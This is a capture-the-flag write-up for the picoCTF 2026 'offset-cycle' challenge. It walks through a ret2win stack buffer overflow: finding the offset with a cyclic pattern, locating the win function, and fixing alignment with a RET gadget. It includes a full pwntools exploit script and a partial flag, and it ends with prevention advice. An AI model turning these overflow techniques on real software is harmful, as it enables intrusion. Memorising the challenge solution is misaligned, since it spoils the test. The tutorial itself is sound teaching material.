offset-cycle picoCTF 2026 Solution

Published: March 20, 2026

Description

It's a race against time. Solve the binary exploit ASAP.

Launch the challenge instance and connect via netcat.

Download and analyse the binary.

  1. Step 1Reconnaissance
    Check the binary's protections and connect to understand the interface.
    bash
    checksec vuln
    bash
    nc <HOST> <PORT_FROM_INSTANCE>
    bash
    objdump -d vuln | grep -A10 win
    Learn more

    checksec is a script that inspects a compiled binary for modern security mitigations. The key properties it reports are: NX (non-executable stack), PIE (position-independent executable, randomises base address), stack canaries (secret values that detect overflows), RELRO (read-only relocations, hardens GOT), and FORTIFY (compile-time buffer checks).

    For a basic ret2win challenge, you want to see: NX enabled (so you can't run shellcode on the stack), no PIE or PIE with a leak (so the win address is predictable), no stack canary (so you can overwrite the return address without detection). Understanding these protections upfront tells you exactly which exploit technique is applicable.

    • NX on, no canary, no PIE: classic ret2win with a fixed win address
    • NX on, no canary, PIE on: need an address leak first
    • NX off: shellcode injection is possible (see offset-cycleV2)
  2. Step 2Find the buffer overflow offset
    Generate a cyclic pattern, crash the binary, and read back the pattern value at RSP to determine the exact offset to the return address.
    python
    python3 -c "from pwn import *; print(cyclic(200))" > pattern.txt
    bash
    # Crash inside GDB and inspect the stack interactively:
    bash
    gdb -q ./vuln
    bash
    (gdb) run < pattern.txt
    bash
    # When SIGSEGV hits, dump the stack to find the overflowing pattern:
    bash
    (gdb) x/s $rsp
    bash
    (gdb) x/16gx $rsp
    bash
    # Then plug the leaked bytes back into cyclic_find:
    python
    python3 -c "from pwn import *; print(cyclic_find(b'<value at rsp>'))"

    The chained -ex form (gdb -ex 'run' -ex 'x/s $rsp') only works when the program exits cleanly. If you want a one-liner that survives a segfault, chain a backtrace instead: gdb -batch -ex 'run < pattern.txt' -ex 'bt' -ex 'x/8gx $rsp' ./vuln. For interactive poking, drop the -batch and stay in the prompt after the crash.

    Learn more

    A cyclic pattern (also called a De Bruijn sequence) is a string where every substring of length N appears exactly once. pwntools generates these with cyclic(length). When the program crashes, whatever 4 or 8 bytes ended up in the instruction pointer (RIP/EIP) or on the stack are a unique subsequence of the pattern - cyclic_find() instantly tells you the byte offset to that position.

    The offset you find is the number of bytes of padding needed before you start overwriting the saved return address. This is typically the local buffer size plus any saved frame pointer bytes above it. Understanding this precisely is critical: one byte too few and the return address isn't overwritten; one byte too many and you start overwriting the wrong things.

    Alternative methods: disassemble the function to find the sub rsp, X instruction that allocates the buffer (Ghidra is great for this, see the Ghidra reverse engineering post), use GDB's built-in pattern commands, or check upstream source if the challenge author published it. For deeper GDB workflow tips, see the GDB for CTF guide; for the broader stack-overflow background, see Buffer overflow exploitation for CTF.

  3. Step 3Locate the win function address
    Find the address of the win/flag function using objdump or pwntools ELF.
    bash
    objdump -d vuln | grep '<win>'
    python
    python3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.sym['win']))"
    Learn more

    In a ret2win challenge, there is a function in the binary (often called win, flag, give_flag, or similar) that prints the flag but is never called in normal program flow. Your goal is to redirect execution to it by overwriting the return address.

    objdump -d disassembles the binary and shows the address of every function. pwntools' ELF class parses the binary's symbol table and lets you look up addresses by name with e.sym['win']. When PIE is disabled, these addresses are fixed and valid without any runtime leak.

    In 64-bit Linux, return addresses are 8 bytes and stored little-endian. pwntools' p64(address) function converts an integer address to the correct 8-byte little-endian representation ready to paste into your payload.

  4. Step 4Build and send the payload
    Run the exploit without an alignment gadget first. If you crash with SIGSEGV inside a movaps instruction in win() or _IO_*, then add a single ret gadget before the win address to flip the 16-byte alignment.
    bash
    # Find a RET gadget for alignment if needed:
    bash
    ROPgadget --binary vuln | grep ': ret$'
    Learn more

    The stack alignment issue is a common stumbling block in 64-bit ret2win exploits. The x86-64 System V ABI requires that RSP be 16-byte aligned when a call instruction is executed (meaning RSP must be 16-byte aligned at function entry, since call pushes 8 bytes). Some functions use SSE instructions like movaps that crash with a SIGSEGV if the stack is misaligned.

    The fix is to insert an extra single-byte ret gadget before the win address in your payload. A bare ret pops 8 bytes off the stack and returns, adjusting RSP by 8 - this flips the alignment from misaligned to properly aligned before the win function's prologue runs.

    ROPgadget and ropper are tools that scan binaries for short instruction sequences ending in ret, called ROP (Return-Oriented Programming) gadgets. Even for this simple challenge, the single-byte ret gadget is your first ROP gadget. More complex exploits chain dozens of these to build arbitrary computation.

  5. Step 5Exploit script
    Full pwntools exploit. The RET gadget is only needed if you see a crash inside win() at a movaps instruction.
    python
    python3 - <<'EOF'
    from pwn import *
    
    HOST, PORT = "<HOST>", <PORT_FROM_INSTANCE>
    e = ELF("./vuln")
    
    OFFSET   = <offset>          # found with cyclic
    WIN      = e.sym["win"]      # address of win/flag function
    RET_GADGET = <ret_addr>      # optional: one-byte RET for 16-byte alignment
    
    payload  = b"A" * OFFSET
    payload += p64(RET_GADGET)   # remove this line if alignment isn't needed
    payload += p64(WIN)
    
    r = remote(HOST, PORT)
    r.sendlineafter(b":", payload)
    r.interactive()
    EOF
    Learn more

    pwntools is the standard Python library for binary exploitation CTF challenges. It provides: remote(host, port) for connecting to servers, ELF for parsing binaries, p64()/p32() for packing addresses, cyclic()/cyclic_find() for offset discovery, and interactive() for dropping into an interactive shell session once exploitation succeeds.

    The sendlineafter(b":", payload) pattern waits until the program outputs a colon (the input prompt) before sending your payload. This synchronisation is important for remote exploits where network latency means you can't just blindly send data immediately.

    The r.interactive() call at the end hands control of stdin/stdout to your terminal, letting you type commands in the spawned shell or read output. In a ret2win challenge the flag is printed automatically, but interactive() is still useful to confirm the output and debug failures.

Flag

picoCTF{0ff53t_cycl3_...}

ret2win buffer overflow. Find the offset with a cyclic pattern, locate the win function with objdump/pwntools, and optionally prepend a RET gadget to fix stack alignment if movaps causes a crash.

How to prevent this

ret2win is the simplest stack overflow primitive. Any one of the standard mitigations breaks it.

  • Replace unbounded reads with bounded ones: fgets(buf, sizeof(buf), stdin), never gets() or scanf("%s", buf). The compiler warns about gets; treat the warning as an error.
  • Compile with -fstack-protector-strong. The canary detects the overflow before ret executes and aborts. Negligible runtime cost, near-perfect coverage for this bug class.
  • Don't ship a win()function that reads /flag. CTF binaries do this for educational purposes; production code should never have an "unlock everything" function reachable from a return-address overwrite.

Want more picoCTF 2026 writeups?

Tools used in this challenge

Related reading

What to try next